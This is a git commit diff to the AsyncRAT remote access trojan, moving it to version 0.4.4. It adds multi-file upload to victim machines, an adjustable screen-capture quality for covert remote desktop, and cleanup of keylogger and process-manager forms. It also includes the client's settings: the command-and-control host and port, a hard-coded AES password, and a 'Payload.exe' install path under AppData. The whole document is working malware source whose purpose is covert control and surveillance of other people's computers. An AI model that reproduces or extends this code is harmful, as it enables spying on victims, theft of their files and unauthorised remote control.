fixed filemanager - couldn't delete some files.
added filemanager upload file form.
added quality for remote desktop
minor bugs fixed
This commit is contained in:
NYAN CAT 2019-05-02 09:57:26 -07:00
parent d5d60c0cb9
commit 75d9d13dac
26 changed files with 1106 additions and 830 deletions

View File

@ -116,7 +116,7 @@
<Compile Include="Forms\FormDownloadFile.Designer.cs">
<DependentUpon>FormDownloadFile.cs</DependentUpon>
</Compile>
<Compile Include="Forms\HandleKeylogger.cs" />
<Compile Include="Handle Packet\HandleKeylogger.cs" />
<Compile Include="Handle Packet\HandleFileManager.cs" />
<Compile Include="Handle Packet\HandleListView.cs" />
<Compile Include="Handle Packet\HandleLogs.cs" />
@ -231,6 +231,8 @@
</ItemGroup>
<ItemGroup>
<Content Include="async_icon.ico" />
<None Include="Resources\arrow_up.png" />
<None Include="Resources\arrow_down.png" />
<None Include="Resources\stop %281%29.png" />
<None Include="Resources\play-button.png" />
<None Include="Resources\info.png" />

View File

@ -34,7 +34,6 @@ namespace AsyncRAT_Sharp
private Listener listener;
private bool trans;
private static System.Threading.Timer tick;
private void CheckFiles()
{
@ -336,7 +335,7 @@ namespace AsyncRAT_Sharp
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
msgpack.ForcePathObject("Option").AsString = "true";
msgpack.ForcePathObject("Quality").AsInteger = 60;
foreach (ListViewItem itm in listView1.SelectedItems)
{
Clients client = (Clients)itm.Tag;

View File

@ -78,7 +78,7 @@
this.labelfile.TabIndex = 0;
this.labelfile.Text = "..";
//
// DownloadFile
// FormDownloadFile
//
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
@ -90,7 +90,7 @@
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.MaximizeBox = false;
this.MinimizeBox = false;
this.Name = "DownloadFile";
this.Name = "FormDownloadFile";
this.Text = "SocketDownload";
this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.SocketDownload_FormClosed);
this.ResumeLayout(false);

View File

@ -9,6 +9,9 @@ using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Threading;
using System.IO;
using System.Net.Sockets;
using Timer = System.Threading.Timer;
namespace AsyncRAT_Sharp.Forms
{
@ -22,6 +25,9 @@ namespace AsyncRAT_Sharp.Forms
public Form1 F { get; set; }
internal Clients C { get; set; }
public long dSize = 0;
public bool isDownload = false;
private long BytesSent = 0;
private Timer Tick = null;
private async void timer1_Tick(object sender, EventArgs e)
{
labelsize.Text = $"{Methods.BytesToString(dSize)} \\ {Methods.BytesToString(C.BytesRecevied)}";
@ -32,13 +38,68 @@ namespace AsyncRAT_Sharp.Forms
timer1.Stop();
await Task.Delay(1500);
this.Close();
}
}
private void SocketDownload_FormClosed(object sender, FormClosedEventArgs e)
{
if (isDownload)
if (C != null) C.Disconnected();
}
public void Send(object obj)
{
lock (C.SendSync)
{
try
{
byte[] msg = Settings.AES.Encrypt((byte[])obj);
byte[] buffersize = BitConverter.GetBytes(msg.Length);
C.ClientSocket.Poll(-1, SelectMode.SelectWrite);
Tick = new Timer(new TimerCallback(Timer3), null, 0, 1000);
C.ClientSocket.Send(buffersize);
int chunkSize = 50 * 1024;
byte[] chunk = new byte[chunkSize];
int SendPackage;
using (MemoryStream buffereReader = new MemoryStream(msg))
{
BinaryReader binaryReader = new BinaryReader(buffereReader);
int bytesToRead = (int)buffereReader.Length;
do
{
chunk = binaryReader.ReadBytes(chunkSize);
bytesToRead -= chunkSize;
SendPackage = C.ClientSocket.Send(chunk);
BytesSent += chunk.Length;
} while (bytesToRead > 0);
binaryReader.Close();
}
}
catch
{
return;
}
}
}
private void Timer3(object obj)
{
if (Program.form1.InvokeRequired)
{
Program.form1.BeginInvoke((MethodInvoker)(async () =>
{
labelsize.Text = $"{Methods.BytesToString(dSize)} \\ {Methods.BytesToString(BytesSent)}";
if (BytesSent > dSize)
{
labelsize.Text = "Downloaded";
labelsize.ForeColor = Color.Green;
timer1.Stop();
await Task.Delay(1500);
this.Close();
}
}));
}
}
}
}

View File

@ -65,7 +65,7 @@
this.listView1.Location = new System.Drawing.Point(0, 1);
this.listView1.Name = "listView1";
this.listView1.ShowItemToolTips = true;
this.listView1.Size = new System.Drawing.Size(1166, 559);
this.listView1.Size = new System.Drawing.Size(979, 427);
this.listView1.SmallImageList = this.imageList1;
this.listView1.TabIndex = 0;
this.listView1.UseCompatibleStateImageBehavior = false;
@ -147,9 +147,9 @@
this.statusStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.toolStripStatusLabel1,
this.toolStripStatusLabel2});
this.statusStrip1.Location = new System.Drawing.Point(0, 563);
this.statusStrip1.Location = new System.Drawing.Point(0, 431);
this.statusStrip1.Name = "statusStrip1";
this.statusStrip1.Size = new System.Drawing.Size(1166, 30);
this.statusStrip1.Size = new System.Drawing.Size(979, 30);
this.statusStrip1.TabIndex = 2;
this.statusStrip1.Text = "statusStrip1";
//
@ -171,15 +171,15 @@
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(this.Timer1_Tick);
//
// FileManager
// FormFileManager
//
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(1166, 593);
this.ClientSize = new System.Drawing.Size(979, 461);
this.Controls.Add(this.statusStrip1);
this.Controls.Add(this.listView1);
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.Name = "FileManager";
this.Name = "FormFileManager";
this.Text = "FileManager";
this.contextMenuStrip1.ResumeLayout(false);
this.statusStrip1.ResumeLayout(false);

View File

@ -93,6 +93,7 @@ namespace AsyncRAT_Sharp.Forms
Text = "socketDownload:" + C.ID,
F = F
};
SD.isDownload = true;
SD.Show();
}
}));
@ -110,14 +111,32 @@ namespace AsyncRAT_Sharp.Forms
try
{
OpenFileDialog O = new OpenFileDialog();
O.Multiselect = true;
if (O.ShowDialog() == DialogResult.OK)
{
foreach(string ofile in O.FileNames)
{
FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + ""];
if (SD == null)
{
SD = new FormDownloadFile
{
Name = "socketUpload:" + "",
Text = "socketUpload:" + C.ID,
F = Program.form1,
C = C
};
SD.dSize = new FileInfo(ofile).Length;
SD.labelfile.Text = Path.GetFileName(ofile);
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "fileManager";
msgpack.ForcePathObject("Command").AsString = "uploadFile";
await msgpack.ForcePathObject("File").LoadFileAsBytes(O.FileName);
msgpack.ForcePathObject("Name").AsString = toolStripStatusLabel1.Text + "\\" + Path.GetFileName(O.FileName);
ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes());
await msgpack.ForcePathObject("File").LoadFileAsBytes(ofile);
msgpack.ForcePathObject("Name").AsString = toolStripStatusLabel1.Text + "\\" + Path.GetFileName(ofile);
SD.Show();
ThreadPool.QueueUserWorkItem(SD.Send, msgpack.Encode2Bytes());
}
}
}
}
catch { }

File diff suppressed because it is too large Load Diff

View File

@ -43,7 +43,7 @@
this.richTextBox1.Name = "richTextBox1";
this.richTextBox1.ReadOnly = true;
this.richTextBox1.ShortcutsEnabled = false;
this.richTextBox1.Size = new System.Drawing.Size(800, 450);
this.richTextBox1.Size = new System.Drawing.Size(731, 410);
this.richTextBox1.TabIndex = 0;
this.richTextBox1.Text = "";
//
@ -53,14 +53,14 @@
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(this.Timer1_Tick);
//
// Keylogger
// FormKeylogger
//
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(800, 450);
this.ClientSize = new System.Drawing.Size(731, 410);
this.Controls.Add(this.richTextBox1);
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.Name = "Keylogger";
this.Name = "FormKeylogger";
this.Text = "Keylogger";
this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.Keylogger_FormClosed);
this.ResumeLayout(false);

View File

@ -33,11 +33,11 @@
this.listView1 = new System.Windows.Forms.ListView();
this.lv_name = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.lv_id = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.imageList1 = new System.Windows.Forms.ImageList(this.components);
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components);
this.killToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.refreshToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.imageList1 = new System.Windows.Forms.ImageList(this.components);
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.contextMenuStrip1.SuspendLayout();
this.SuspendLayout();
//
@ -56,7 +56,7 @@
this.listView1.Name = "listView1";
this.listView1.ShowGroups = false;
this.listView1.ShowItemToolTips = true;
this.listView1.Size = new System.Drawing.Size(659, 719);
this.listView1.Size = new System.Drawing.Size(557, 577);
this.listView1.SmallImageList = this.imageList1;
this.listView1.Sorting = System.Windows.Forms.SortOrder.Ascending;
this.listView1.TabIndex = 0;
@ -73,6 +73,29 @@
this.lv_id.Text = "ID";
this.lv_id.Width = 150;
//
// contextMenuStrip1
//
this.contextMenuStrip1.ImageScalingSize = new System.Drawing.Size(24, 24);
this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.killToolStripMenuItem,
this.refreshToolStripMenuItem});
this.contextMenuStrip1.Name = "contextMenuStrip1";
this.contextMenuStrip1.Size = new System.Drawing.Size(144, 64);
//
// killToolStripMenuItem
//
this.killToolStripMenuItem.Name = "killToolStripMenuItem";
this.killToolStripMenuItem.Size = new System.Drawing.Size(143, 30);
this.killToolStripMenuItem.Text = "Kill";
this.killToolStripMenuItem.Click += new System.EventHandler(this.killToolStripMenuItem_Click);
//
// refreshToolStripMenuItem
//
this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem";
this.refreshToolStripMenuItem.Size = new System.Drawing.Size(143, 30);
this.refreshToolStripMenuItem.Text = "Refresh";
this.refreshToolStripMenuItem.Click += new System.EventHandler(this.refreshToolStripMenuItem_Click);
//
// imageList1
//
this.imageList1.ColorDepth = System.Windows.Forms.ColorDepth.Depth32Bit;
@ -85,37 +108,14 @@
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(this.timer1_Tick);
//
// contextMenuStrip1
//
this.contextMenuStrip1.ImageScalingSize = new System.Drawing.Size(24, 24);
this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.killToolStripMenuItem,
this.refreshToolStripMenuItem});
this.contextMenuStrip1.Name = "contextMenuStrip1";
this.contextMenuStrip1.Size = new System.Drawing.Size(241, 97);
//
// killToolStripMenuItem
//
this.killToolStripMenuItem.Name = "killToolStripMenuItem";
this.killToolStripMenuItem.Size = new System.Drawing.Size(240, 30);
this.killToolStripMenuItem.Text = "Kill";
this.killToolStripMenuItem.Click += new System.EventHandler(this.killToolStripMenuItem_Click);
//
// refreshToolStripMenuItem
//
this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem";
this.refreshToolStripMenuItem.Size = new System.Drawing.Size(240, 30);
this.refreshToolStripMenuItem.Text = "Refresh";
this.refreshToolStripMenuItem.Click += new System.EventHandler(this.refreshToolStripMenuItem_Click);
//
// ProcessManager
// FormProcessManager
//
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(659, 719);
this.ClientSize = new System.Drawing.Size(557, 577);
this.Controls.Add(this.listView1);
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.Name = "ProcessManager";
this.Name = "FormProcessManager";
this.Text = "ProcessManager";
this.contextMenuStrip1.ResumeLayout(false);
this.ResumeLayout(false);

View File

@ -32,7 +32,14 @@
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormRemoteDesktop));
this.pictureBox1 = new System.Windows.Forms.PictureBox();
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.panel1 = new System.Windows.Forms.Panel();
this.label1 = new System.Windows.Forms.Label();
this.numericUpDown1 = new System.Windows.Forms.NumericUpDown();
this.button1 = new System.Windows.Forms.Button();
this.button2 = new System.Windows.Forms.Button();
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit();
this.panel1.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).BeginInit();
this.SuspendLayout();
//
// pictureBox1
@ -40,7 +47,7 @@
this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill;
this.pictureBox1.Location = new System.Drawing.Point(0, 0);
this.pictureBox1.Name = "pictureBox1";
this.pictureBox1.Size = new System.Drawing.Size(938, 485);
this.pictureBox1.Size = new System.Drawing.Size(710, 399);
this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
this.pictureBox1.TabIndex = 0;
this.pictureBox1.TabStop = false;
@ -50,16 +57,94 @@
this.timer1.Interval = 2000;
this.timer1.Tick += new System.EventHandler(this.timer1_Tick);
//
// panel1
//
this.panel1.BackColor = System.Drawing.Color.Transparent;
this.panel1.Controls.Add(this.label1);
this.panel1.Controls.Add(this.numericUpDown1);
this.panel1.Controls.Add(this.button1);
this.panel1.Dock = System.Windows.Forms.DockStyle.Top;
this.panel1.Location = new System.Drawing.Point(0, 0);
this.panel1.Name = "panel1";
this.panel1.Size = new System.Drawing.Size(710, 38);
this.panel1.TabIndex = 1;
//
// label1
//
this.label1.AutoSize = true;
this.label1.Location = new System.Drawing.Point(130, 8);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(78, 20);
this.label1.TabIndex = 2;
this.label1.Text = "QUALITY";
//
// numericUpDown1
//
this.numericUpDown1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
this.numericUpDown1.Enabled = false;
this.numericUpDown1.Increment = new decimal(new int[] {
10,
0,
0,
0});
this.numericUpDown1.Location = new System.Drawing.Point(214, 7);
this.numericUpDown1.Minimum = new decimal(new int[] {
20,
0,
0,
0});
this.numericUpDown1.Name = "numericUpDown1";
this.numericUpDown1.Size = new System.Drawing.Size(82, 26);
this.numericUpDown1.TabIndex = 1;
this.numericUpDown1.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;
this.numericUpDown1.UpDownAlign = System.Windows.Forms.LeftRightAlignment.Left;
this.numericUpDown1.Value = new decimal(new int[] {
60,
0,
0,
0});
//
// button1
//
this.button1.Location = new System.Drawing.Point(6, 4);
this.button1.Name = "button1";
this.button1.Size = new System.Drawing.Size(107, 29);
this.button1.TabIndex = 0;
this.button1.Text = "STOP";
this.button1.UseVisualStyleBackColor = true;
this.button1.Click += new System.EventHandler(this.Button1_Click);
//
// button2
//
this.button2.BackgroundImage = global::AsyncRAT_Sharp.Properties.Resources.arrow_up;
this.button2.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.button2.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.button2.Location = new System.Drawing.Point(304, 44);
this.button2.Name = "button2";
this.button2.Size = new System.Drawing.Size(18, 18);
this.button2.TabIndex = 2;
this.button2.Text = " ";
this.button2.UseVisualStyleBackColor = true;
this.button2.Click += new System.EventHandler(this.Button2_Click);
//
// FormRemoteDesktop
//
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(938, 485);
this.ClientSize = new System.Drawing.Size(710, 399);
this.Controls.Add(this.button2);
this.Controls.Add(this.panel1);
this.Controls.Add(this.pictureBox1);
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.MinimumSize = new System.Drawing.Size(658, 448);
this.Name = "FormRemoteDesktop";
this.Text = "RemoteDesktop";
this.Load += new System.EventHandler(this.FormRemoteDesktop_Load);
this.ResizeEnd += new System.EventHandler(this.FormRemoteDesktop_ResizeEnd);
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit();
this.panel1.ResumeLayout(false);
this.panel1.PerformLayout();
((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).EndInit();
this.ResumeLayout(false);
}
@ -68,5 +153,10 @@
public System.Windows.Forms.PictureBox pictureBox1;
public System.Windows.Forms.Timer timer1;
private System.Windows.Forms.Panel panel1;
private System.Windows.Forms.Label label1;
private System.Windows.Forms.Button button1;
private System.Windows.Forms.Button button2;
public System.Windows.Forms.NumericUpDown numericUpDown1;
}
}

View File

@ -34,9 +34,61 @@ namespace AsyncRAT_Sharp.Forms
private void timer1_Tick(object sender, EventArgs e)
{
if (!C.ClientSocket.Connected || !C2.ClientSocket.Connected ) this.Close();
if (!C.ClientSocket.Connected) this.Close();
}
private void Button2_Click(object sender, EventArgs e)
{
if (panel1.Visible == false)
{
panel1.Visible = true;
button2.Top = panel1.Bottom + 5;
button2.BackgroundImage = Properties.Resources.arrow_up;
}
else
{
panel1.Visible = false;
button2.Top = pictureBox1.Top + 5;
button2.BackgroundImage = Properties.Resources.arrow_down;
}
}
private void FormRemoteDesktop_Load(object sender, EventArgs e)
{
button2.Top = panel1.Bottom + 5;
button2.PerformClick();
}
private void Button1_Click(object sender, EventArgs e)
{
if (button1.Text == "START")
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
msgpack.ForcePathObject("Quality").AsInteger = Convert.ToInt32(numericUpDown1.Value);
decoder = new UnsafeStreamCodec(Convert.ToInt32(numericUpDown1.Value));
ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes());
numericUpDown1.Enabled = false;
button1.Text = "STOP";
}
else
{
button1.Text = "START";
numericUpDown1.Enabled = true;
try
{
C2.ClientSocket.Dispose();
C2.Disconnected();
C2 = null;
}
catch { }
}
}
private void FormRemoteDesktop_ResizeEnd(object sender, EventArgs e)
{
button2.Left = pictureBox1.Width / 2;
}
//private void RemoteDesktop_Activated(object sender, EventArgs e)
//{
// //if (Active == false)

View File

@ -5,6 +5,7 @@ using System;
using System.Drawing;
using System.IO;
using System.Windows.Forms;
using System.Threading;
namespace AsyncRAT_Sharp.Handle_Packet
{
@ -144,7 +145,12 @@ namespace AsyncRAT_Sharp.Handle_Packet
{
if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", ""))))
Directory.CreateDirectory(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "")));
string filename = Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString);
if (File.Exists(filename))
{
File.Delete(filename);
Thread.Sleep(500);
}
unpack_msgpack.ForcePathObject("File").SaveBytesToFile(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString));
}
}));

View File

@ -7,7 +7,7 @@ using System.Drawing;
using System.IO;
using System.Windows.Forms;
namespace AsyncRAT_Sharp.Forms
namespace AsyncRAT_Sharp.Handle_Packet
{
class HandleKeylogger
{

View File

@ -60,6 +60,26 @@ namespace AsyncRAT_Sharp.Properties {
}
}
/// <summary>
/// Looks up a localized resource of type System.Drawing.Bitmap.
/// </summary>
internal static System.Drawing.Bitmap arrow_down {
get {
object obj = ResourceManager.GetObject("arrow_down", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// Looks up a localized resource of type System.Drawing.Bitmap.
/// </summary>
internal static System.Drawing.Bitmap arrow_up {
get {
object obj = ResourceManager.GetObject("arrow_up", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// Looks up a localized string similar to &lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot; ?&gt;
///&lt;configuration&gt;

View File

@ -118,6 +118,9 @@
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<assembly alias="System.Windows.Forms" name="System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
<data name="stop (1)" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\stop (1).png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="builder" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\builder.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
@ -136,8 +139,8 @@
<data name="botkiller" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\botkiller.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="info" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\info.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
<data name="usb" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\usb.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="circle-loading-gif" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\circle-loading-gif.gif;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
@ -145,9 +148,6 @@
<data name="filemanager" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\filemanager.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="usb" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\usb.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="remotedesktop" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\remotedesktop.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
@ -157,6 +157,9 @@
<data name="process" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\process.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="info" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\info.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="tomem1" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\tomem1.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
@ -178,7 +181,10 @@
<data name="visit" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\visit.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="stop (1)" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\stop (1).png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
<data name="arrow_down" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\arrow_down.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="arrow_up" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\arrow_up.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
</root>

View File

@ -1,3 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<startup><supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.0,Profile=Client"/></startup></configuration>

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 KiB

View File

@ -14,6 +14,6 @@ namespace AsyncRAT_Sharp
public static string Password { get; set; }
public static Aes256 AES{ get; set; }
public static readonly string Version = "AsyncRAT 0.4.3";
public static readonly string Version = "AsyncRAT 0.4.4";
}
}

View File

@ -122,8 +122,17 @@ namespace AsyncRAT_Sharp.Sockets
try
{
ClientMS?.Dispose();
if (ClientSocket.Connected)
{
ClientSocket.Shutdown(SocketShutdown.Both);
}
}
catch { }
try
{
ClientSocket?.Dispose();
ClientMS?.Dispose();
}
catch { }
}

View File

@ -74,7 +74,7 @@
<ItemGroup>
<Compile Include="Cryptography\Aes256.cs" />
<Compile Include="Handle Packet\HandleBotKiller.cs" />
<Compile Include="Handle Packet\FileManager.cs" />
<Compile Include="Handle Packet\HandleFileManager.cs" />
<Compile Include="Handle Packet\HandleGetScreenShot.cs" />
<Compile Include="Handle Packet\HandleUninstall.cs" />
<Compile Include="Handle Packet\Packet.cs" />

View File

@ -14,6 +14,8 @@ namespace Client.Handle_Packet
public class FileManager
{
public void GetDrivers()
{
try
{
DriveInfo[] allDrives = DriveInfo.GetDrives();
MsgPack msgpack = new MsgPack();
@ -30,8 +32,12 @@ namespace Client.Handle_Packet
ClientSocket.BeginSend(msgpack.Encode2Bytes());
}
}
catch { }
}
public void GetPath(string path)
{
try
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "fileManager";
@ -55,6 +61,8 @@ namespace Client.Handle_Packet
msgpack.ForcePathObject("File").AsString = sbFile.ToString();
ClientSocket.BeginSend(msgpack.Encode2Bytes());
}
catch { }
}
private Bitmap GetIcon(string file)
{
@ -62,14 +70,16 @@ namespace Client.Handle_Packet
{
if (file.EndsWith("jpg") || file.EndsWith("jpeg") || file.EndsWith("gif") || file.EndsWith("png") || file.EndsWith("bmp"))
{
using (Image thumb = Image.FromFile(file).GetThumbnailImage(64, 64, () => false, IntPtr.Zero))
using (Bitmap myBitmap = new Bitmap(file))
{
return new Bitmap(thumb);
return new Bitmap(myBitmap.GetThumbnailImage(64, 64, new Image.GetThumbnailImageAbort(() => false), IntPtr.Zero));
}
}
Icon icon = Icon.ExtractAssociatedIcon(file);
Bitmap bmpIcon = icon.ToBitmap();
return bmpIcon;
else
using (Icon icon = Icon.ExtractAssociatedIcon(file))
{
return icon.ToBitmap();
}
}
catch
{

View File

@ -15,7 +15,7 @@ namespace Client.Handle_Packet
{
public class HandleRemoteDesktop
{
public void CaptureAndSend()
public void CaptureAndSend(int quality)
{
try
{
@ -23,7 +23,7 @@ namespace Client.Handle_Packet
Client.Connect(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[1]));
string hwid = Methods.HWID();
IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(60);
IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(quality);
while (Client.Connected)
{
if (!ClientSocket.Client.Connected || !ClientSocket.IsConnected) break;

View File

@ -97,7 +97,7 @@ namespace Client.Handle_Packet
//case "true":
// {
HandleRemoteDesktop remoteDesktop = new HandleRemoteDesktop();
remoteDesktop.CaptureAndSend();
remoteDesktop.CaptureAndSend(Convert.ToInt32(unpack_msgpack.ForcePathObject("Quality").AsInteger));
break;
// }
}
@ -144,6 +144,11 @@ namespace Client.Handle_Packet
case "uploadFile":
{
string fullPath = unpack_msgpack.ForcePathObject("Name").AsString;
if (File.Exists(fullPath))
{
File.Delete(fullPath);
Thread.Sleep(500);
}
unpack_msgpack.ForcePathObject("File").SaveBytesToFile(fullPath);
break;
}

View File

@ -8,13 +8,13 @@ namespace Client
{
public static readonly string Ports = "6606";
public static readonly string Host = "127.0.0.1";
public static readonly string Version = "AsyncRAT 0.4.3";
public static readonly string Version = "AsyncRAT 0.4.4";
public static readonly string Install = "false";
public static readonly string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%AppData%"), "Payload.exe");
public static string Password = "NYAN CAT";
public static readonly Aes256 aes256 = new Aes256(Password);
public static readonly string MTX = "%MTX%";
public static readonly string Anti = "%Anti%";
// public static readonly string Anti = "false";
//public static readonly string Anti = "false";
}
}